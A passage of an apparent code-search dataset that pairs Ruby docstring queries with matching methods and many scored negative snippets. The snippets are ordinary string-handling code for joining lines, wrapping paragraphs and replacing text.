'')\n end", "def trim\n self.gsub(/^\\s+/,'').gsub(/\\s+$/,'')\n end", "def clean_string(s)\n s.lstrip! if s\n s.rstrip! if s\n s\n end" ]
[ "0.71943414", "0.7168402", "0.71346223", "0.705175", "0.69402874", "0.6912578", "0.68956614", "0.6710288", "0.659029", "0.6584463", "0.6574741", "0.6565644", "0.6553379", "0.6508228", "0.6503529", "0.64322543", "0.6400062", "0.6362053", "0.6362053", "0.63575774", "0.63425326", "0.63375694", "0.6329866", "0.62608725", "0.62608725", "0.622992", "0.6211924", "0.6174396", "0.615194", "0.6113803", "0.61069834", "0.60629135", "0.6058229", "0.60498327", "0.60189605", "0.60151666", "0.60130495", "0.60102326", "0.59817857", "0.59700567", "0.5936356", "0.59301573", "0.5929048", "0.5888137", "0.5888137", "0.58633566", "0.5852264", "0.5827571", "0.582603", "0.582603", "0.58232915", "0.58176774", "0.5816701", "0.58039945", "0.5784695", "0.5783273", "0.5780454", "0.5758614", "0.5752702", "0.5718994", "0.5706345", "0.5706345", "0.57013005", "0.56886166", "0.5677002", "0.56578404", "0.56500983", "0.56479526", "0.56453425", "0.56451344", "0.56353563", "0.5630439", "0.56275916", "0.5612861", "0.5604468", "0.5599137", "0.5591836", "0.55917716", "0.55751497", "0.55701715", "0.5556947", "0.5548221", "0.5542141", "0.55362177", "0.55343217", "0.5526338", "0.5518404", "0.54898065", "0.5489562", "0.54815394", "0.5478978", "0.5478978", "0.54747564", "0.5466928", "0.5459614", "0.5456864", "0.545282", "0.54410917", "0.54395247", "0.5437155" ]
0.76229817
0
Joins a paragraph of possibly indented, newline separated lines into a single contiguous string.
def wring_heredoc encode(universal_newline: true) .split("\n") # split into lines .map( &:strip ) # strip them .delete_if( &:blank? ) # delete blank lines .join " " # and join with whitspace end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def included_paragraphs_joined\n PARAGRAPHS.join(\"\\n\\n\")\n end", "def to_s\n paragraphs.map(&:to_s).join(\"\\n\")\n end", "def to_s\n paragraphs.map(&:to_s).join(\"\\n\")\n end", "def wrap_paragraph(par)\n [\"\\n\\n\"] + par + [\"\\n\\n\"]\n end", "def join_lines\n\t\toutput = []\n\t\tn = 0\n\t\twhile n < @lines.length do\n\t\t\tcur_line = n \n\t\t\tlonger_line = String.new;\n\t\t\t\n\t\t\tif @lines[cur_line].text[-1] == '\\\\'\n\t\t\t\tlonger_line = @lines[cur_line].text.chop()\n\t\t\t\tcur_line += 1\n\t\t\t\tlonger_line += @lines[cur_line].text\n\t\t\t\tlonger_line.chop!() if longer_line[-1] == '\\\\'\n\t\t\tend\n\t\t\twhile @lines[cur_line].text[-1] == '\\\\'\n\t\t\t\tcur_line += 1\n\t\t\t\tlonger_line += @lines[cur_line].text[0..-2]\n\t\t\tend\n\t\t\t\n\t\t\t# if there were joined lines\n\t\t\tif n < cur_line\n\t\t\t\t@lines[n].text = longer_line\n\t\t\t\t\n\t\t\t\t# catch up\n\t\t\t\twhile n < cur_line\n\t\t\t\t\tn += 1\n\t\t\t\t\t@lines[n].text = nil\n\t\t\t\tend\n\t\t\tend\n\t\t\tn += 1\n\t\tend\n\tend", "def poem &block\n annotate block do |c|\n c.split(\"\\n\").join(\" \\n\")\n end\nend", "def paragraphs\n result = []\n paragraph = []\n loop do\n if eof?\n result << paragraph.join(NL)\n return result\n elsif current_line.empty?\n if paragraph.empty?\n # No action\n else\n result << paragraph.join(NL)\n paragraph = []\n end\n else\n paragraph << current_line\n end\n move_on\n end\n end", "def join_cr\n self.compact.reject { |element| element.to_s.empty? || element.to_s.strip == \"\\n\" }.join(\"\\n\")\n end", "def paragraphize(input)\n \"#{input.lstrip.rstrip.gsub(/\\n\\n/, '</p><p>').gsub(/\\n/, '')}\"\n end", "def fold_paragraph(paragraph, max_width)\n # Gradually build our output\n str, *rest = paragraph\n width = str.length\n\n rest.each do |word|\n if width + word.length + 1 <= max_width\n str << ' ' << word\n width += word.length + 1\n else\n str << \"\\n\" << word\n width = word.length\n end\n end\n\n str\nend", "def outdent(text)\n lines = text.split(\"\\n\")\n indented_with = /^ +/.match(lines.first)[0]\n lines.map { |line| line.gsub(/^#{indented_with}/, '') }.join(\"\\n\") + \"\\n\"\n end", "def heredoc_text(lines, leading, has_margin, remove_break)\n if has_margin\n leading_pattern = /^#{Regexp.escape(leading)}/\n lines = lines.collect {|s| s.gsub(leading_pattern, '') }\n end\n result = lines.join('')\n result.gsub!(/\\r?\\n$/, '') if remove_break\n result\n end", "def to_s\n paragraphs.map(&:text).join('')\n end", "def add_paragraphs\n lines = seperate_lines\n max_index = lines.size - 1\n (1..(max_index)).each do |index|\n previous_line = lines[index -1]\n current_line = lines[index]\n next_line = lines[index + 1]\n if current_line[0] != (\"#\" || \"\\n\" || \"</p>\")\n if previous_line[0] == \"\\n\"\n lines.insert(index, \"<p>\\n\")\n elsif next_line[0] == \"\\n\"\n lines.insert(index + 1, \"\\n</p>\")\n elsif next_line == nil\n lines << \"\\n</p>\"\n else\n lines\n end\n end\n end\n @doc = lines.join\n end", "def join(addend, padChar=' ', separator = nil)\n theCopy = TextRect.new(@theLines)\n theCopy.join!(addend, padChar, separator)\n end", "def plain_source\n lines.join\n end", "def sequence_lined(char_per_line)\n counter = char_per_line\n sequence_lined = \"\"\n sequence.each_char { |ch|\n sequence_lined.concat(ch)\n counter = counter - 1\n if counter == 0\n sequence_lined.concat(\"<br/>\")\n counter = char_per_line\n end\n }\n\n sequence_lined\n end", "def my_join(spacer = '')\n str = ''\n\n self.each_with_index do |char, idx|\n str += char\n str += spacer if idx != self.length - 1\n end\n\n str\n end", "def combineLines(theLines)\n\n\ttheText = \"\";\n\t\n\ttheLines.each do |theLine|\n\t\ttheText += theLine[:text] + theLine[:comment] + \"\\n\";\n\tend\n\n\treturn theText;\n\nend", "def paragraphs(range=nil)\n unless range\n self.split(\"\\n\")\n else\n truncated = self.split(\"\\n\")[range].join(\"\\n\")\n truncated += \"...\" if (truncated.length < self.length)\n truncated\n end\n end", "def append_paragraph_breaks(out)\n out.sub!(TRAILING_WHITESPACE, EMPTY)\n if out.end_with?(NEWLINE)\n out << NEWLINE unless out.end_with?(\"\\n\\n\")\n else\n out << \"\\n\\n\"\n end\n end", "def plain_source\n lines.join\n end", "def join_with_indent_or_spaces(args)\n if args.count >= 5\n joined = args.join(\",\\n \")\n \"\\n #{joined}\"\n else\n args.join(', ')\n end\n end", "def paragraph parts\n parts = parts.map do |part|\n if \"\\n\" == part then\n RDoc::Markup::HardBreak.new\n else\n part\n end\n end if break_on_newline?\n\n RDoc::Markup::Paragraph.new(*parts)\n end", "def text hard_break = nil\n @parts.map do |part|\n if RDoc::Markup::HardBreak === part then\n '%1$s%3$*2$s' % [hard_break, @indent, ' '] if hard_break\n else\n part\n end\n end.join\n end", "def paragraphs(range = nil)\n if range\n truncated = split(\"\\n\")[range].join(\"\\n\")\n truncated += '...' if truncated.length < length\n truncated\n else\n split(\"\\n\")\n end\n end", "def address_lines(join_chars = ', ')\n address_lines_array.join(join_chars)\n end", "def address_lines(join_chars = ', ')\n address_lines_array.join(join_chars)\n end", "def output_paragraphs\n if @number <= self.class.total_included_paragraphs\n PARAGRAPHS[0, @number].join(\"\\n\\n\")\n else\n repeat = (@number / self.class.total_included_paragraphs.to_f).ceil\n (PARAGRAPHS * repeat)[0, @number].join(\"\\n\\n\")\n end\n end", "def to_s\n [\n self.line_01,\n self.line_02,\n self.line_03,\n ].join(\"\\n\")\n end", "def wrap(text, length, indent=0, padding=0)\n if text.length > length - indent\n paragraphs = []\n line = ''\n text.split(/\\s+/).map(&:chomp).reject(&:empty?).each do |fragment|\n if line.length < length - indent\n line << fragment + ' '\n else\n paragraphs << line\n line = padding + fragment + ' '\n end\n end\n paragraphs << line\n text = paragraphs.join(\"\\n\")\n end\n text\n end", "def body_paragraph(num)\n puts \"#{num} little monkeys jumping on the bed,\nOne fell off and bumped his head,\nMama called the doctor and the doctor said,\n'No more monkeys jumping on the bed!'\n\n\"\nend", "def parse_and_join(code, print_tokens = false)\n blocks = self.parse code, print_tokens\n blocks.map do |comment_block|\n comment_block.join \"\\n\"\n end\n end", "def plaintext(delim=\"\\n\")\n @text_blocks.join(delim)\n end", "def join(s = Undefined)\n # this is mostly Rubinius code, but modified for our API\n # Put in delta since we need the recursion guard found in common.\n my_size = size\n return \"\" if my_size._equal?(0)\n if s._equal?(Undefined)\n sep = $,\n elsif s._equal?(nil)\n sep = nil\n else\n sep = s.to_str # let any NoMethodError be seen by caller\n end\n\n out = \"\"\n# out.taint if sep.tainted? or self.tainted?\n i = 0\n ts = Thread.__recursion_guard_set\n while (i < my_size)\n elem = at(i)\n out << sep unless (sep._equal?(nil) || i == 0)\n\n if elem._isArray\n\tadded = ts.__add_if_absent(self)\n\tbegin\n if ts.include?(elem)\n out << \"[...]\"\n else\n out << elem.join(sep)\n end\n\tensure\n if added\n\t ts.remove(self)\n\t end\n end\n else\n out << elem.to_s\n# out.taint if elem.tainted? and not out.tainted?\n end\n i += 1\n end\n out\n end", "def haml_concat(text = \"\")\n haml_buffer.buffer << haml_indent << text.to_s << \"\\n\"\n nil\n end", "def join_nested_strings(src)\n row_index = 0\n string_data = [ ]\n while row_index < src.length do\n grab_string = src[row_index].grep(String)\n string_data.push(grab_string)\n row_index += 1 \n end\n string_data.join(\" \")\nend", "def text hard_break = ''\n @parts.map do |part|\n if RDoc::Markup::HardBreak === part then\n hard_break\n else\n part\n end\n end.join\n end", "def outdent(str)\n str =~ /\\A(?:\\s*?\\n)( *)(.*)\\z/m ? $2.gsub!(/^ {0,#{$1.length}}/, '') : str\n end", "def wrap(s)\n s.split(\"\\n\").map do |t|\n if t =~ /^[>|]/\n t + \"\\n\"\n else\n t.gsub(/(.{1,74})(\\s+|$)/,\"\\\\1\\n\")\n end\n end.join('')\n end", "def join!(addend, padChar = ' ', separator = nil)\n\n # Make the addend into a TextRect.\n\n return self if addend.nil?\n\n case addend\n when String then right = TextRect.new(addend)\n when Array then right = TextRect.new(addend)\n when TextRect then right = addend\n else raise 'join! addend has unknown class.' \n end\n\n # If either the right or the left is empty, do the trival thing.\n\n rLen = right.length\n return self if rLen == 0\n\n sLen = @theLines.length\n if sLen == 0\n right.lines.each { |l| @theLines << l }\n return self\n end\n\n # If the left operand must be extended, do it now.\n\n (sLen+1).upto(rLen) { @theLines << '' }\n\n # Pad the left side if necesary. We only need to pad the strings up to as\n # far as there are right operand lines; the remainder can be ignored. Once\n # the pad is in place, add the right string.\n\n sWidth = self.width\n thePad = padChar[0]\n rLines = right.lines\n separator = '' if separator.nil?\n \n 0.upto(rLen-1) do |i|\n @theLines[i] = @theLines[i].ljust(sWidth, thePad)\n @theLines[i] << separator << rLines[i]\n end\n\n return self\n\n end", "def to_html\n paragraphs.map(&:to_html).join('\\n')\n end", "def group_sequence (sequence, length)\n temp_sequence = \"\"\n index = 0; cont = 0\n while sequence[index] != nil do\n temp_sequence += sequence[index]\n index += 1\n if cont < length - 1\n cont += 1\n else\n temp_sequence += \"\\n\"\n cont = 0\n end\n end\n temp_sequence\nend", "def line_break(character)\n quickly do\n character * 150\n end\n puts \"\"\n end", "def joinlines(lines)\n lines.is_a?(Array) ? lines.join : lines\n end", "def test_wrap_text\n wrapped = \"Insert newlines into a paragraph of \" + \"\\n\" +\n \"prose (provided in a String) so lines \" + \"\\n\" +\n \"will wrap at 40 characters.\"\n paragraph = \"Insert newlines into a paragraph of \" +\n \"prose (provided in a String) so lines \" +\n \"will wrap at 40 characters.\"\n assert_equal wrapped, OneLiner.wrap_text(paragraph)\n end", "def format_multiline(text)\n Array.wrap(text).flat_map { |s| s.to_s.split(/ *[;\\n] */) }.compact_blank!\n end", "def write_paragraph last_env, environments, paragraph\n # $stderr.print last_env,\",\",paragraph,\"\\n\" if last_env != nil\n case last_env\n when 'listing'\n writeln '\\begin{listing}'\n paragraph.each { | line | write line }\n writeln '\\end{listing}'\n when 'verbatim'\n writeln '\\begin{verbatim}'\n paragraph.each { | line | write line }\n writeln '\\end{verbatim}'\n when 'quote'\n writeln '\\begin{verbatim}'\n paragraph.each { | line | write line }\n writeln '\\end{verbatim}'\n when 'quotation'\n writeln '\\begin{verbatim}'\n paragraph.each { | line | write line }\n writeln '\\end{verbatim}'\n when 'cmake'\n code_box paragraph, last_env, 'shell'\n when 'perl' \n code_box paragraph, last_env\n when 'scala' \n code_box paragraph, last_env\n when 'python' \n code_box paragraph, last_env\n when 'c' \n code_box paragraph, last_env\n when 'swig'\n code_box paragraph, last_env, 'c'\n when 'r'\n code_box paragraph, last_env, 'slang'\n when 'ruby'\n code_box paragraph, last_env\n when 'shell'\n code_box paragraph, last_env\n else\n paragraph.each do | line |\n write line\n # write '<br />' if environments.has?('verbatim')\n end\n end\n end", "def join_nested_strings(src)\n # src will be an Array of Arrays of Strings and Integers\n # Combine all Strings present in the AoA into a single value and return it\n result = \"\"\n \n # loop over outer array\n row_index = 0\n while row_index < src.count do\n \n # loop over inner array\n element_index = 0\n while element_index < src[row_index].count do\n element = src[row_index][element_index]\n if element.is_a? String\n result += element + \" \"\n end\n \n # do something with each element of the inner array\n element_index += 1\n end\n\n row_index += 1\n end\n\n # return \"The brown fox ... \"\n result\nend", "def m (x)\n\tputs \"This is multi-line string. It's line1 \\\n It's line 2\\\n And this is\\n line3\n This line should not be mutated\"\n\tputs \"This is multi line interpolated string #{\n\t\tx\n\t}\"\nend", "def paragraph(\n word_count: rand(DEFAULT_WORD_COUNT_RANGE),\n sentence_count: rand(DEFAULT_SENTENCE_COUNT_RANGE),\n fillers: dictionnary.fillers\n )\n sentence_count = 0 if sentence_count.negative?\n paragraph = []\n sentence_count.times do\n s = sentence(word_count: word_count, fillers: fillers)\n paragraph << s unless s.empty?\n end\n paragraph.join(' ')\n end", "def join_nested_strings(src)\n words = []\n row_idx = 0\n while row_idx < src.length do\n sub_array = src[row_idx]\n row_idx += 1\n ele_idx = 0\n while ele_idx < sub_array.count do\n ele = sub_array[ele_idx]\n if ele.is_a? String \n words.push(ele)\n end\n ele_idx += 1\n end\n end\n words.join(\" \")\nend", "def to_line_string lr\n str = lr.from.line.to_s.dup\n if lr.from.line != lr.to.line\n str << \",\" << lr.to.line.to_s\n end\n str\n end", "def wrapped_by_paragraph; end", "def word_wrap(txt, line_length) # :nodoc:\n txt.split(\"\\n\").collect do |line|\n line.length > line_length ? line.gsub(/(.{1,#{line_length}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\n end", "def mapf_format_paragraph(text, max_width = contents_width)\n text = text.clone\n # Create a Dummy Contents - I wanted to boost compatibility by using the\n # default process method for escape codes. It may have the opposite effect,\n # for some :(\n real_contents = contents # Preserve Real Contents\n self.contents = Bitmap.new(24, 24)\n reset_font_settings\n paragraph = \"\"\n while !text.empty?\n text.lstrip!\n oline, nline, tw = mapf_format_by_line(text.clone, max_width)\n # Replace old line with the new one\n text.sub!(/#{Regexp.escape(oline)}/m, nline)\n paragraph += text.slice!(/.*?(\\n|$)/)\n end\n contents.dispose # Dispose dummy contents\n self.contents = real_contents # Restore real contents\n return paragraph\n end", "def to_s\n reconstructed = lines.dup\n\n annotations.reverse_each do |line_number, annotation|\n reconstructed.insert(line_number, annotation)\n end\n\n reconstructed.join\n end", "def mapf_format_paragraph(text, max_width = contents_width)\n text = text.clone\n # Create a Dummy Contents - I wanted to boost compatibility by using the \n # default process method for escape codes. It may have the opposite effect, \n # for some :( \n real_contents = contents # Preserve Real Contents\n self.contents = Bitmap.new(contents_width, 24)\n reset_font_settings\n paragraph = \"\"\n while !text.empty?\n text.lstrip!\n oline, nline, tw = mapf_format_by_line(text.clone, max_width)\n # Replace old line with the new one\n text.sub!(/#{Regexp.escape(oline)}/m, nline)\n paragraph += text.slice!(/.*?(\\n|$)/)\n end\n contents.dispose # Dispose dummy contents\n self.contents = real_contents # Restore real contents\n return paragraph\n end", "def address_lines(glue=',')\n lines = [\n address_line_1,\n address_line_2,\n address_line_3,\n address_line_4\n ]\n\n # Remove empty lines and join by parameter\n lines.select{|i|i.present?}.join glue\n end", "def paragraphs(\n word_count: rand(DEFAULT_WORD_COUNT_RANGE),\n sentence_count: rand(DEFAULT_SENTENCE_COUNT_RANGE),\n paragraph_count: rand(DEFAULT_PARAGRAPH_COUNT_RANGE),\n fillers: dictionnary.fillers,\n seperator: DEFAULT_PARAGRAPH_SEPARATOR\n )\n paragraph_count = 0 if paragraph_count.negative?\n paragraphs = []\n paragraph_count.times do\n p = paragraph(word_count: word_count, sentence_count: sentence_count, fillers: fillers)\n paragraphs << p unless p.empty?\n end\n paragraphs.join(seperator)\n end", "def __joinStrings\n # called from generated code\n str = ''\n n = 0\n siz = self.__size\n while n < siz\n str << self.__at(n).to_s\n n += 1\n end\n str\n end", "def paragraphs(total)\n (1..interpret_value(total)).map do\n sentences(3..8).capitalize\n end.join(\"\\n\\n\")\n end", "def wrap(text, line_width = 100)\n text.gsub(/(.{1,#{line_width}})/, \"\\\\1\\n\")\n end", "def email_rewrap(text, width=EMAIL_WRAP_WIDTH)\n paragraphs = text.split(\"\\n\\n\")\n paragraphs.each { |para| para.gsub(\"\\n\", ' ') }\n paragraphs.map! { |para| email_wrap para, width }\n paragraphs.join(\"\\n\\n\")\n end", "def rdoc_paragraphs(rdoc_text)\n paragraphs, current = [], \"\"\n rdoc_text.each_line do |s|\n if s.strip.empty?\n unless current.strip.empty?\n paragraphs << current \n end\n current = \"\"\n else\n current << s\n end\n end\n unless current.strip.empty?\n paragraphs << current \n end\n paragraphs\n end", "def test_wrap_text\n wrapped = \"Insert newlines into a paragraph of \" + \"\\n\" + \n \"prose (provided in a String) so lines \" + \"\\n\" +\n \"will wrap at 40 characters.\" + \"\\n\"\n paragraph = \"Insert newlines into a paragraph of \" + \n \"prose (provided in a String) so lines \" +\n \"will wrap at 40 characters.\"\n assert_equal wrapped, OneLiner.wrap_text(paragraph)\n end", "def to_html\n paragraphs.map(&:to_html).join(\"\\n\")\n end", "def join(separator = T.unsafe(nil)); end", "def line_break\n append '(?:\\n|(?:\\r\\n))'\n end", "def flush_left text\n indents = []\n\n text.each_line do |line|\n indents << (line =~ /[^\\s]/ || 9999)\n end\n\n indent = indents.min\n\n flush = []\n\n text.each_line do |line|\n line[/^ {0,#{indent}}/] = ''\n flush << line\n end\n\n flush.join\n end", "def paragraph_by_chars(characters: 256, supplemental: false)\n paragraph = paragraph(sentence_count: 3, supplemental: supplemental)\n\n paragraph += \" #{paragraph(sentence_count: 3, supplemental: supplemental)}\" while paragraph.length < characters\n\n \"#{paragraph[0...characters - 1]}.\"\n end", "def make_puctuation_ended_line(text, len)\n phrases = text.split(/[\\!\\?\\.\\:\\;\\(\\)\\n]/)\n phrases.shuffle!\n phrases.each do |phrase|\n words = phrase.split(\" \")\n words.reverse!\n line = \"\"\n words.each do |word|\n begin\n line = \"#{word} #{line}\"\n if line.to_phrase.syllables == len\n line.gsub!('\"','')\n return line\n end\n if line.to_phrase.syllables > len\n break\n end\n rescue\n break\n end\n end\n end\n end", "def to_s\n reconstructed = lines.dup\n\n annotations.reverse_each do |line_number, annotation|\n reconstructed.insert(line_number, annotation)\n end\n\n reconstructed.join\n end", "def simple_format_with_quote(text)\n text = '' if text.nil?\n text = text.dup\n start_tag = \"<p>\"\n text = text.to_str\n text.gsub!(/\\r\\n?/, \"\\n\") # \\r\\n and \\r -> \\n\n text.gsub!(/\\n\\n+/, \"</p>\\n\\n#{start_tag}\") # 2+ newline -> paragraph\n text.gsub!(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\n text.insert 0, start_tag\n text.concat(\"</p>\")\n end", "def paragraph(string)\n puts \"No info available...\" if string == \"\" #technically useless now...\n loop do\n puts paragraph_line = string.truncate(80, separator: ' ', omission: '') #prints the first 80 characters, stopping at the nearest space before\n string = string.from (paragraph_line.length + 1) #removes that first line from the original string, and then the loop repeats\n break if string == nil #not entrirely sure why this works, but ends the loop when there is no string left.\n end\nend", "def join(separator = $OFS)\n '' + _join(separator)\n end", "def join( page, image = false )\n\n\t\t# If page is a map, grab the page\n\t\tpage = page.current_page if page.is_a? Map\n\t\t# Check for invalid inputs\n\t\traise ArgumentError, 'Input for join() must be a Map page (Array) or a Map' unless page.is_a? Array\n\t\n\t\t# String to return\n\t\tstr = String.new\n\n\t\t# For each line in each page, \n\t\t# concat the two lines and replace the first newline with a boundary |\n\t\n\t\tpage.each.with_index do |line, i|\n\t\t\t\n\t\t\tbreak if image and i > 18\n\n\t\t\tif image and i == 3\n\t\t\t\tstr += @pages[ @ptr ][i].gsub(/\\n/, ' ') + line\n\t\t\telse\n\t\t\t\tstr += @pages[ @ptr ][i].gsub(/\\n/, \"|\") + line\n\t\t\tend\n\t\t\n\t\tend\t\n\n\t\t# Return the result\n\t\tstr\n\n\tend", "def to_s\n text = 'Once upon a time ' + @sentences[0].to_s\n @sentences[1..-1].each do |sentence|\n bridge = BRIDGES.pick.to_s\n text += bridge + ' ' + (bridge[-1,1] == '.' ? sentence.to_s.capitalize : sentence.to_s)\n end\n text.gsub!(/ ,/, ',') # a little clean-up\n text.gsub!(/(.{70,80}) /, \"\\\\1\\n\")\n text + \".\\nThe End.\\n\"\n end", "def word_wrap(txt, line_length)\n txt.split(\"\\n\").collect do |line|\n line.length > line_length ? line.gsub(/(.{1,#{line_length}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\n end", "def map_join(list, *opts, &block)\n options = opts.extract_options!\n if options[:nowrap]\n options[:surround] = [raw('<span style=\"white-space: nowrap;\">'), raw(''), raw('</span> ')]\n end\n separator = options[:separator] || opts[0] || raw(options[:surround] ? ',' : ', ')\n last_separator = options[:last_separator] || opts[1] || separator\n\n results = list.map &block\n case results.length\n when 0 then ''\n when 1 then results[0]\n else\n # Array#join doesn't support html_safe => concatenate with inject\n if options[:surround]\n s1,s2,s3 = options[:surround]\n s1 + results[0..-2].inject { |a,b| a.to_s + s2 + separator + s3 + s1 + b.to_s } +\n s2 + last_separator + s3 + results.last\n else\n results[0..-2].inject {|a,b| a.to_s + separator + b.to_s } + last_separator + results.last\n end\n end\n end", "def text\n @parts.join\n end", "def project_to_line\n end", "def to_s(options={})\n s = \"[#{line.to_s.rjust(options[:indent])}] \"\n s << \"[#{tag}] \" if options[:tag]\n s << text\n end", "def m (x)\nputs \"This is multi-line string. It's line1 \\\n It's line 2\\\n And this is\\n line3\n This line should not be mutated\"\nputs \"This is multi line interpolated string #{\nx\n}\"\nend", "def accept_paragraph paragraph\n parts = paragraph.parts.chunk do |part|\n String === part\n end.map do |string, chunk|\n string ? chunk.join.rstrip : chunk\n end.flatten\n\n paragraph.parts.replace parts\n end", "def simple_format_without_paragraph(text)\r\n text.to_s.\r\n gsub(/\\r\\n?/, \"\\n\"). # \\r\\n and \\r -> \\n\r\n gsub(/\\n\\n+/, \"<br /><br />\"). # 2+ newline -> 2 br\r\n gsub(/([^\\n]\\n)(?=[^\\n])/, '\\1<br />') # 1 newline -> br\r\n end", "def my_join(separator = \"\")\n ret = \"\"\n each_with_index do |el, i|\n if i == count - 1\n ret << el\n else\n ret << el + separator\n end\n end\n ret\n end", "def reduce_new_line(_production, _range, _tokens, _children)\n # TODO: control portability\n Regex::Character.new('\\n')\n end", "def text\n map(&:text).join\n end", "def write_indented_lines(where, lines_string, indent_amount)\n lines_as_array = lines_string.split(/\\r|\\n|\\r\\n/)\n lines_as_array.each do |line|\n where << \" \" * indent_amount\n where.puts line\n end\n end", "def join(*rest) end", "def prep_newlines(text)\n\ttext.gsub!(/^[\\w\\<][^\\n]*\\n+/) do |x|\n\t\tx =~ /\\n{2}/ ? x : (x.strip!; x << \" \\n\")\n\tend\n\ttext\nend", "def simple_format(str)\n newline = str =~ /\\r\\n/ ? \"\\r\\n\" : \"\\n\"\n paragraphs = str.split(newline + newline)\n paragraphs.map{|s| \"<p>#{s.gsub(\"\\n\", \"<br>\")}</p>\"}.join\n end", "def indent_each_line!(indent_sequence=\"\\t\")\n\t\treturn self.collect!{ |line|\t\"#{indent_sequence}#{line}\" }\n\tend", "def teardown_to_oneline(line, length = 60)\n lines = []\n line.split(\" \").each {|line|\n if !lines.empty? && lines[-1].size + line.size + 1 <= length\n lines[-1].concat(\" \" + line)\n else\n lines << line\n end\n }\n return lines\n end", "def join_lines_into_one\n\t\t@complete_letter = Array.new\n\t\t@master = 0\n\t\tmaster_comp = @top_line.length\n\t\tuntil @master == master_comp\n\t\t\ttheory_case\n\t\tend\n\tend", "def paragraph_by_chars(characters: T.unsafe(nil), supplemental: T.unsafe(nil)); end", "def paste( text, typing = ! TYPING, do_parsed_indent = false )\n return if text.nil?\n\n if not text.kind_of? Array\n s = text.to_s\n if s.include?( \"\\n\" )\n text = s.split( \"\\n\", -1 )\n else\n text = [ s ]\n end\n end\n\n take_snapshot typing\n\n delete_selection DONT_DISPLAY\n\n row = @last_row\n col = @last_col\n new_col = nil\n line = @lines[ row ]\n if text.length == 1\n @lines[ row ] = line[ 0...col ] + text[ 0 ] + line[ col..-1 ]\n if do_parsed_indent\n parsed_indent row: row, do_display: false\n end\n cursor_to( @last_row, @last_col + text[ 0 ].length, DONT_DISPLAY, ! typing )\n elsif text.length > 1\n\n case @selection_mode\n when :normal\n @lines[ row ] = line[ 0...col ] + text[ 0 ]\n @lines[ row + 1, 0 ] = text[ -1 ] + line[ col..-1 ]\n @lines[ row + 1, 0 ] = text[ 1..-2 ]\n new_col = column_of( text[ -1 ].length )\n when :block\n @lines += [ '' ] * [ 0, ( row + text.length - @lines.length ) ].max\n @lines[ row...( row + text.length ) ] = @lines[ row...( row + text.length ) ].collect.with_index { |line,index|\n pre = line[ 0...col ].ljust( col )\n post = line[ col..-1 ]\n \"#{pre}#{text[ index ]}#{post}\"\n }\n new_col = col + text[ -1 ].length\n end\n\n new_row = @last_row + text.length - 1\n if do_parsed_indent\n ( row..new_row ).each do |r|\n parsed_indent row: r, do_display: false\n end\n end\n cursor_to( new_row, new_col )\n\n end\n\n set_modified\n end", "def join\n a = []\n each{|s| a << s}\n a.join\n end", "def address_line\n [address_line1, address_line2].join(' ')\n end" ]
[ "0.6775684", "0.6325973", "0.6325973", "0.62695765", "0.62255144", "0.5991968", "0.5802499", "0.5792878", "0.5785576", "0.5773998", "0.57327443", "0.5731368", "0.5730906", "0.5730215", "0.5719407", "0.5691222", "0.56702656", "0.5646327", "0.5610952", "0.5592161", "0.55792415", "0.555068", "0.55445814", "0.5543691", "0.5517628", "0.55128384", "0.5450203", "0.5450203", "0.54241073", "0.54203326", "0.54169184", "0.5416425", "0.5403711", "0.5390334", "0.53867596", "0.53795826", "0.53610337", "0.53280276", "0.53265", "0.5321353", "0.5309696", "0.53062713", "0.5293961", "0.5286359", "0.5277744", "0.5267527", "0.5267288", "0.52651113", "0.5259513", "0.5246171", "0.52321935", "0.52294964", "0.5217655", "0.5209495", "0.52072465", "0.52055544", "0.5204496", "0.5202341", "0.51974803", "0.51960593", "0.51873034", "0.51867664", "0.5182588", "0.5180197", "0.5175464", "0.5172397", "0.51712734", "0.5154436", "0.51421255", "0.5141009", "0.51378584", "0.5135063", "0.51335037", "0.51117533", "0.509811", "0.5092612", "0.5085542", "0.5082904", "0.5071358", "0.5070698", "0.50678873", "0.50577605", "0.50523454", "0.5051729", "0.5051547", "0.5050683", "0.50490665", "0.50432175", "0.5040267", "0.503963", "0.5038613", "0.5030708", "0.5028536", "0.50275403", "0.50216836", "0.50203985", "0.50172985", "0.50097406", "0.50084853", "0.5006918" ]
0.5424445
28
If the string is empty, it gets replace with the string given as argument.
def default! default_string strip.empty? ? clear << default_string.to_s : self end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def replace(input, string, replacement = T.unsafe(nil)); end", "def replace_first(input, string, replacement = T.unsafe(nil)); end", "def ReturnReplacementIfEmpty(valToCheck, replaceWithThis)\n\tvalToCheck.strip.empty? ? replaceWithThis : valToCheck.strip\nend", "def replace_empty(key, params, empty_str)\n params[key] = empty_str if [nil, '', '-'].include?(params[key])\n return params\n end", "def reverse_inplace(s)\n return \"\" if s == \"\"\nend", "def apply!(str)\n str.gsub! regexp, ''\n end", "def replace_with str\n self.class.new \"\" << raw[0] << str << raw[-1]\n end", "def replace\n end", "def gsub!(*args, &block)\n str = self.gsub(*args, &block)\n if str != self\n self.replace(str)\n self\n else\n nil\n end\n end", "def regex_replace_first(input, regex, replacement = NOTHING)\n input.to_s.sub(Regexp.new(regex), replacement.to_s)\n end", "def replace(p0) end", "def replace(p0) end", "def replace(p0) end", "def sb(s)\r\n (s == '(none)' || s == '') ? '' : s\r\n end", "def empty!\n self.replace(\"\")\n end", "def replace(string, char, replace_char)\n string = string.split(\"\")\n sol = \"\"\n if string.empty?\n return sol\n else\n strchar = string.shift\n if char == strchar\n sol += replace_char\n else\n sol += strchar\n end\n sol += replace(string.join(\"\"), char, replace_char)\n end \n \n sol\nend", "def replace(str)\n str.to_s\n end", "def transform_empty_to_nil stringVal\n stringVal = nil unless stringVal.nil? || stringVal.length > 0\n stringVal\n end", "def replace(in_str)\n @out_str = in_str + \" \" + in_str\n end", "def str_replace(orig, rep, with)\n s = orig\n while s.include?(rep)\n s.sub! rep, with\n end\n orig\n end", "def remove_first(input, string); end", "def replace(s)\n s.tr(\"aeiouAEIOU'\",\"!\")\nend", "def char_replace!(str, hash)\n\nend", "def replace(string, char, replacement)\n new_string = \"\"\n string.each_char do |c|\n new_string += c == char ? replacement : c\n end\n new_string\nend", "def change_letters(string)\r\n if string.include? \"s\"\r\n string.gsub!(/s/, \"th\")\r\n end\r\n\r\n puts string\r\nend", "def string_replacements\nend", "def 